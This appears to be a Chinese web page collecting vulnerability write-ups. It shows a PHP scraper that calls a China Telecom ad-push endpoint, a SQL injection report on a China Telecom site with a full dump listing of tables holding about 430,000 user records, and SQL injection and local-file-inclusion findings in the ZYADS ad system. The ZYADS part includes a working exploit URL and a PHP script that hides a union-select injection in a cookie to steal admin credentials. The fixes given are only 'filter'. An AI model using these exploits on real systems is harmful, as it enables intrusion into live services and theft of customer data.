';return '';}$mystr = 'userName='.$username.'&srcUrl=www.baidu.com&policyId=1375&srcIp='.randip().'&type=0';$mystr = base64_encode($mystr);$url = '121.32.136.50:701/gz_20141028/guangzhou/20141028/thirdconfirm.aspx?param=AB'.$mystr;// echo $url;// $html = file_get_contents($url);$myc = curl_init();$headers = array(     'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:28.0) Gecko/0101 Firefox/28.0',     'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',     'Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',     'Connection:   Keep-Alive ',   'DNT: 1', );   curl_setopt($myc, CURLOPT_HEADER, false);  curl_setopt($myc, CURLOPT_HTTPHEADER,$headers);  curl_setopt($myc, CURLOPT_URL,$url);  curl_setopt($myc, CURLOPT_RETURNTRANSFER,true);  curl_setopt($myc, CURLOPT_TIMEOUT, 10);  $html = curl_exec($myc);  curl_close($myc);if(empty($html)){echo '

contents empty

';return '';}$html = getCon($html, 'UserBirthday“>', '', true);echo $html;}main();?>
经测试,发现是Oracle数据库
解决方案:
过滤啊

篇2:运营商安全之中国电信某站SQL注入(涉及9个库,43万

运营商安全之中国电信某站SQL注入漏洞存在注入URL**.**.**.**:9080/home/index.action?recStaff=dldxzqkhb&storeId=13464&systemId=1参数systemId为注入点涉及9个库

400多个表,43万用户数据

Database: OTO_JT+--------------------------------+---------+| Table | Entries |+--------------------------------+---------+| ATTRINST | 1491899 || SCHEDULE_JOB_LOG | 1324602 || USERS | 430913 || STORECENT_0512 | 286340 || TB_MINI_PAGE_PICTURE_0512| 159625 || STORECENT | 151211 || TB_MINI_REQUEST_LOG| 129173 || TB_MINI_WEBSITE_LOG| 98924 || CATGPENREL | 90268 || LISTPRICE_0512 | 88093 || OFFER_0512 | 88076 || CATENTRY_0512| 86675 || TB_FR_SERV_CALL_LOG| 73342 || CATENTREL_0512 | 71678 || TB_SM_PRIVGRANTS | 57851 || BP_STEPTASK | 49539 || TB_MINI_TRAN_CONFIG_0512 | 35697 || TB_MINI_WEBSITE_PAGE_0512| 34729 || CPORD_ITEMS | 34380 || BP_TASK| 28874 || ADDRBOOK | 27375 || ORDER_COMMENT| 26679 || PPC_PAYMENT | 26236 || PACK_STATLOG | 25299 || CATENTRY_0918| 24768 || CATENTREL | 22484 || CATENTREL_0922 | 22417 || CATENTREL_0918 | 19134 || PACKITEMS | 18236 || TB_CMS_RESOURCE | 17801 || PROMO_CDPOOL | 17366 || ORDER_APPLYINFO | 16636 || SCHEDULE_BUSIPROC_LOG | 15907 || ORDER_INVOICE| 15655 || TB_CMS_CHANNEL | 14774 || SALEINFO_ITEM| 13682 || ORDERITEMS_0512 | 11304 || CPORD_CRM_SUB| 11024 || LISTPRICE | 11018 || OFFER | 11002 || CATENTRY | 9488 || PROMO_USAGE | 9418 || CRM_PROCESS_ORDERS | 9412 || TB_PM_OPER_LOG | 9194 || CPORD_WAIT_SENDBACK_HIST | 8936 || TB_MINI_WEBSITE_STYLE_0512 | 8268 || TB_MINI_WEBSITE_STYLE_0428 | 8226 || TB_MINI_PAGE_PICTURE | 8096 || TB_MINI_PAGE_ATTR_0512 | 6696 || PHONENUMBER | 6564 || TB_SM_STAFFPOST_0512 | 6491 || STAT_ORDERITEMS_SETTLEMENT | 6226 || TB_SM_STAFFPOST_20150428 | 6117 || USER_LOGIN_LOG | 5980 || PACKINFO | 5790 || TB_SM_MINI_PRIVGRANTS | 5658 || TB_SM_MINI_PRIVGRANTS_0512 | 5570 || TB_SM_MINI_PRIVGRANTS_20150506 | 5568 || TB_MINI_PUBLISH_TASK_HIST| 5314 || USERREG| 5183 || USERPROF | 5182 || SHIPINFO | 5164 || ADDRESS| 5163 || INVENTORY | 5102 || TB_SM_MINI_PRIVGRANTS_20150428 | 5050 || TB_SM_SYSSTAFF_0512| 4845 || ORDER_CATENTRY_REL_0512 | 4843 || ORDERS_0512 | 4632 || TB_SM_LOGINSESS | 4560 || TB_SM_SYSSTAFF_20150428 | 4506 || TB_MINI_CAT_TYPE | 4480 || PROMO_ELEATTR_INST | 4116 || STOREPMD | 3946 || CPORD_CRM_APPLY | 3882 || TB_MINI_STAFF_REC_0512 | 3874 || STOREPMD_0512| 3824 || ORDERITEM_ADJUST | 3736 || ORDER_ADJUST | 3729 || ORDERITEMS_0918 | 3397 || CPORD_CALL_LOG | 3379 || TB_MINI_WEBSITE_STYLE_0918 | 3223 || TB_SM_LOGINSESS_HIST | 3163 || STOREPMD_20150428 | 3148 || TB_MINI_REGION | 3147 || TB_MINI_REGION_20150428 | 3147 || STORERELA_0512 | 3107 || STORE_0512 | 3063 || TB_MINI_PAGE_TEXT_0512 | 2813 || SALEINFO_REG | 2800 || STORERELA_20150428 | 2742 || STORE_20150428 | 2695 || TB_MINI_WEBSITE_0512 | 2629 || TB_MINI_WEBSITE_20150428 | 2592 || PROMO_ELERELA| 2549 || TB_MINI_WEBSITE_PAGE | 2373 || STORERELA_0918 | 2262 || STORE_0918 | 2220 || TB_SM_WORKPOST | 2125 || TB_MINI_PAGE_ATTR_0918 | 2104 || STOREPMD_0918| 2068 || CATGROUP | || TB_SM_SYSSTAFF_0918| 1968 || TB_MINI_REPORT | 1877 || TB_SM_MINI_PRIVGRANTS_0918 | 1771 || PPC_PAYINST | 1707 || TB_MINI_WEBSITE_LOG_0512 | 1619 || CATGRPREL | 1504 || STORECGRP | 1459 || CATENTRY_RELA| 1453 || TB_MINI_STAFF_REC_0918 | 1433 || ORDER_CATENTRY_REL_0918 | 1423 || STAT_ORDERS_SETTLEMENT | 1421 || TB_MINI_TRAN_CONFIG| 1407 || UPLOADFILE | 1383 || ORDERS_0918 | 1226 || TB_FR_ANALY_CUST_LOGIN | 1145 || ORDERITEMS | 1099 || IP_LATN_RELA | 1018 || TB_MINI_WEBSITE_0918 | 1016 || TB_MINI_QUESTION_DETAIL | 933 || TB_SM_SYSSTAFF | 905 || TB_SM_STAFFPOST | 887 || TB_MINI_ANALYSE | 800 || TB_MINI_PAGE_TEXT_0918 | 771 || PRIZE | 700 || INV_ADJUST | 685 || ORDER_CATENTRY_REL | 631 || CPORD_ASSIGNMENT | 604 || STORERELA | 599 || STORE | 554 || PNB_CHECK_INFO | 487 || TB_MINI_WEBSITE_STYLE. 486 || MODCOMPS_ACTION | 476 || CPORD_COMMENT| 471 || TB_PC_DICT | 466 || TB_MINI_PAGE_ATTR | 449 || SHPARRANGE | 442 || TMP_ACTION_LINK | 423 || TB_MINI_STAFF_WEBSITESTYLE. 408 || ACTION_LINK | 393 || CATEN_CRM_RELA | 382 || STAT_PPC_PAYINST | 381 || TB_SM_ORGAN | 358 || TB_PC_CITY | 326 || TB_PC_CITY_20150428| 325 || CITY | 323 || CITY_20150428| 323 || PROMO_TRIGGER| 319 || PRIZE_CODE_SEQ | 318 || TB_MINI_ARTICLE | 313 || FRAME_TB_CONFIG_CONTENT | 305 || PNB_STATLOG | 274 || CALLBACK_ORDER_RELA| 273 || TB_SM_MODCOMPS | 260 || ORDERS | 255 || PLAN_INFO_SETTING | 247 || ATTRIBUTE | 230 || FRAME_TB_INTERFACE_INIT_PARA | 229 || TB_FR_SERV_USER_AUTH | 226 || TB_FR_SERV_METHOD | 215 || TB_MINI_STAFF_REC | 211 || TB_SM_SYSMENU| 191 || TB_MINI_QUESTION_CUST | 187 || CALCODE| 174 || TB_SM_ERRLOGIN | 167 || TB_MINI_EXCEL_LOG | 154 || PROMO_ADDINFO| 152 || PROMOTION | 152 || CATEN_CRM_EQPT | 148 || ORDER_STATLOG| 145 || TB_SM_WORKPOST_20150428 | 144 || ORDER_CATEN_SOLD | 140 || SMS_SEND_QUEUE_HIST| 139 || TB_SM_MODULE | 135 || CALLBACKS | 134 || TB_MINI_WEBSITE | 120 || TB_MINI_STANDARD | 119 || SANALY_CATENTRY | 109 || TB_MINI_STAFF_REL_0512 | 104 || EXPORTFILE | 103 || SHIP_STATLOG | 101 || TB_FR_ANALY_ORDER_INFO | 92|| TB_PC_DICTTYPE | 87|| TB_MINI_PAGE_TEXT | 84|| TB_MINI_STAFF_REL_0918 | 83|| BP_TRANS | 77|| TB_MINI_PUBLISH_OBJ_RELA | 74|| ORDER_INVOICE_BAK | 72|| TB_FR_SERVINFO | 69|| ATTRVALUE | 66|| PROMO_STATLOG| 66|| BRAND | 63|| CATCLASS_BRAND | 62|| STAT_DOWNLOAD_FILES| 62|| PROMO_CDUSAGE| 60|| FRAME_TB_CONFIG_TYPE | 56|| TB_MINI_STAFF_REL | 54|| BP_FLOWSTEP | 53|| TB_MINI_QUESTION_TITLE_ITEM | 48|| TEST1 | 48|| PNBINV_WARN | 45|| FRAME_TB_INTERFACE_CONFIG| 44|| TB_MINI_PAGE_TEXT_BAKPAJT| 43|| BP_ACTION | 42|| FFMCENTER | 42|| FRAME_TB_INTERFACE_EVENT | 42|| INV_WARN | 41|| IP_WHITE | 40|| TB_MINI_TALK_ABOUT | 40|| TB_MINI_NOTICE_ROLES | 38|| CATCOMMENT | 36|| CATCOMMT_SCORE | 36|| FFMCENTER_PMD| 35|| TEST2 | 34|| WS_STAFF_SETTING | 33|| PROVINCE | 31|| PROVINCE_20150428 | 31|| TB_MINI_APPROVE | 31|| TB_MINI_PAGE_CAT | 28|| PROMO_ELEATTR| 26|| TB_SM_ORGAN_20150428 | 26|| SHIPMODE | 25|| SCHEDULE_JOB | 24|| TB_PC_LOG_CONFIG | 24|| PROMO_CDSPEC | 23|| STORECAT | 23|| TMP_CATGROUP | 23|| FRAME_TB_SM_ORGAN | 22|| SUPPLIER | 22|| QTYUNIT| 21|| TB_SM_ORGTYPE| 21|| ATTRVALUE_TYPE | 20|| BP_STEP| 20|| TB_MINI_QUESTION_TITLE | 19|| PROMO_ELEMENT| 18|| SANALY_TYPE | 18|| SHIPMENT_PAYMENT_LISTS | 18|| UPLOADFILE_SETTING | 18|| SEARCH_FILTER_ATTG_CHANNELREL | 17|| CATCLASS | 15|| TB_CMS_ARTICLE | 15|| ATTRGRP| 14|| TB_CMS_PUBLISH_TASK_HIST | 14|| ACTIVITY | 13|| TB_MINI_PAGE | 13|| PPC_PAYMETHOD| 12|| PRIZE_RESULT | 11|| SEARCH_FILTER_ATTRGROUPREL | 11|| SEARCH_FILTER_ATTRS| 11|| TB_CMS_PUBLISH_TASK| 11|| ORDER_BSNTYPE| 10|| ORDER_BSNTYPE_FLOW | 10|| PNB_CHECK_INFO_HIST| 10|| SHIPPER| 10|| TB_CMS_RESOURCE_LOG| 10|| TB_MINI_NOTICE | 10|| ”CATALOG“ | 9 || PROMO_PUBCD | 9 || SEARCH_FILTER_GROUP| 9 || TB_CMS_APPROVE | 9 || TB_CMS_APPROVE_ACT | 9 || PROMO_PROMOTYPE | 8 || TB_CMS_ARTICLE_EXTATTR | 8 || TB_MINI_QUESTION_CONF | 8 || BP_FLOW| 7 || LISTS_RECORDS| 7 || TMP_ROLE_POST| 7 || CATACT_RELA | 6 || SEARCH_FILTER_GROUPS | 6 || SEARCH_FILTER_GROUPSREL | 6 || SYS_ID_SERIAL| 6 || TB_CMS_APPREVENT_PRIVI | 6 || TB_MINI_QUESTION | 6 || TB_MINI_WEBSITE_SYN_HIST | 6 || TB_CMS_TEMPLATE_ATTR | 5 || TB_MINI_STYLE_SYSTEM | 5 || TB_MINI_WX_TOKEN | 5 || REFUNDMENT_LISTS | 4 || SEARCH_FILTER_USAGE| 4 || TB_MINI_PUBLISH_TASK | 4 || BP_BUSITYPE | 3 || CPORD_WAIT_ACCNBR | 3 || FRAME_TBSYSTEMSTATICVALUE| 3 || PNB_LOCKED | 3 || PNB_RESERVE | 3 || PROMO_GROUP | 3 || SEARCH_FILTER_MATCH_TYPE | 3 || SEND_TEMPLATE| 3 || TB_CMS_ARTICLE_ATTRVALUE | 3 || TB_CMS_RESOURCE_PAGE | 3 || TB_CMS_TEMPLATE | 3 || TB_MINI_STYLE. 3 || TB_SM_ORGAN_HIST | 3 || BP_FLOWRULE | 2 || EXPORTFILE_SETTING | 2 || OBJCACHE_SETTING | 2 || PAYMENT_LISTS| 2 || STAGEPAY_CHECK | 2 || TB_MINI_WEBSITE_TEMPLATE | 2 || CALRULE| 1 || CALVALUE | 1 || CPORD_WAIT_SENDBACK| 1 || FRAME_TB_FILTER_PARAM | 1 || FRAME_TB_FILTER_URL| 1 || PRIZE_RATE | 1 || SHPAREA| 1 || TB_CMS_TAG | 1 || TB_CMS_TAG_RELA | 1 || TB_FR_SERV_USER | 1 || TB_MINI_PICTUREMANAGER | 1 |+--------------------------------+---------+

修复方案:

过滤

篇3:中易广告联盟系统(ZYADS) sql注入和本地包含漏洞

中易广告联盟系统(ZYADS) sql注入和本地包含漏洞

在index/news.php 1-31行

include_once(”top.php“);

$newsid = intval($_GET['id']);

$to_type = addslashes($_GET['type']);

if ($to_type=='index')

{

$to_type_s =” and to_type=1“;

}

if ($to_type=='webuser')

{

$to_type_s =” and to_type!=3“;

}

if ($to_type=='webadver')

{

$to_type_s =” and to_type!=2“;

}

$newssql = 'select * from zyads_news WHERE `id` ='' . $newsid . ''

'.$to_type_s.'';

$newsre=$db->query($newssql);

$newsrow = $db->fetch_array($newsre);

if (empty($newsrow)){

zyads_message('zyads_news');

}

?>

可以看到$to_type没定义或者不等于index,webuser,webadver的话 那么$to_type_s是没有定义的

这时候我们就可以提交一个$to_type_s变量来进行sql注入,简单的注入,呵呵。

在/code/adview_cpa_html.php 1-46行

/*********************/

中国电信ADSL某广告推送系统SQL注入/*                  */

/* Version : 5.1.0 */

/* Author : RM    */

/* Comment : 071223 */

/*                  */

/*********************/

_obfuscate_JQYdYn1jfBI( );

define( ”IN_ZYADS“, TRUE );

$name = $_GET['name'];

$adid = $_GET['adid'];

$offsetwidth = $_GET['offsetwidth'];

$site = $_GET['site'];

$click_url = ”www.erzhi.cn“;

$count_url = ”www.erzhi.cn“;

if ( empty( $name ) || empty( $adid ) || empty( $site ) )

{

exit( ”广告出错“ );

}

@require( ”../user/c/“.$name.”/user_info.php“ );

require( ”../include/soft_class.php“ );

require( ”../include/settings.php“ );

$code = new _obfuscate_Y2xpZW50( );

$getip = $code->_obfuscate_Z2V0aXA( );

$getbrowse = $code->_obfuscate_Z2V0YnJvd3Nl( );

$getos = $code->_obfuscate_Z2V0b3M( );

$maketime = time( ) + $setting['zyads_date'] * 3600;

$maketime = $maketime;

$strbas = $code->_obfuscate_cGFzc3BvcnRfZW5jcnlwdA(

$getip.”|“.$maketime.”|“.$getbrowse.”|“.$getos, $setting['url_pwd'] );

$strbas = _obfuscate_IGI7aGd_LDRuMD0VZg( $strbas );

if ( $zyads_users['flag'] != 2 )

{

echo ”document.write('帐号被锁定');“;

exit( );

}

if ( _obfuscate_Cx96BhhwZxABPA8( ”../cache/cpa/“.$adid.”.php“ ) )

{

require( ”../cache/cpa/“.$adid.”.php“ );

}

else

{

exit( ”文件丢失-“.$adid.”.php“ );

}

$name,$adid这两个变量都能造成本地包含漏洞

不过$adid好利用点,

exp:/code/adview_cpa_html.php?name=admin&adid=../../index&site=www.xxx.com

最后附上一个exp,只是简单的cookie提交参数 为了隐蔽点 呵呵

//by q1ur3n

//team: www.wolvez.org

//exp : zyads.php?site=www.tx8688.com&id=and 1=2 union select 1,2,3,4,5,6%23

//敏感信息表信息:

/*

DROP TABLE IF EXISTS zyads_admin;

CREATE TABLE zyads_admin (

id int(11) NOT NULL auto_increment,

username varchar(20) NOT NULL,

pwd varchar(50) NOT NULL,

login_num int(11) NOT NULL,

last_time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,

islock int(1) NOT NULL,

ip varchar(20) NOT NULL,

admin_flag varchar(200) NOT NULL,

addtime datetime NOT NULL,

PRIMARY KEY (id)

);

*/

$host = $_GET['site'];

$cmd='to_type_s='.urlencode(stripcslashes($_REQUEST[”id“]));

$message = ”GET /index/news.php?id=89 HTTP/1.1 “;

$message .= ”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-

shockwave-flash, */* “;

$message .= ”Referer: www.baidu.com/ “;

$message .= ”Accept-Language: zh-cn “;

$message .= ”Content-Type: application/x-www-form-urlencoded “;

$message .= ”User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) “;

$message .= ”Host: $host “;

$message .= ”Connection: Close “;

$message .= ”Cookie: “.$cmd.” ";

//echo $message;

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

echo $resp;

fclose($fp);

?>

阅读剩余 0%
本站所有文章资讯、展示的图片素材等内容均为注册用户上传(部分报媒/平媒内容转载自网络合作媒体),仅供学习参考。 用户通过本站上传、发布的任何内容的知识产权归属用户或原始著作权人所有。如有侵犯您的版权,请联系我们反馈本站将在三个工作日内改正。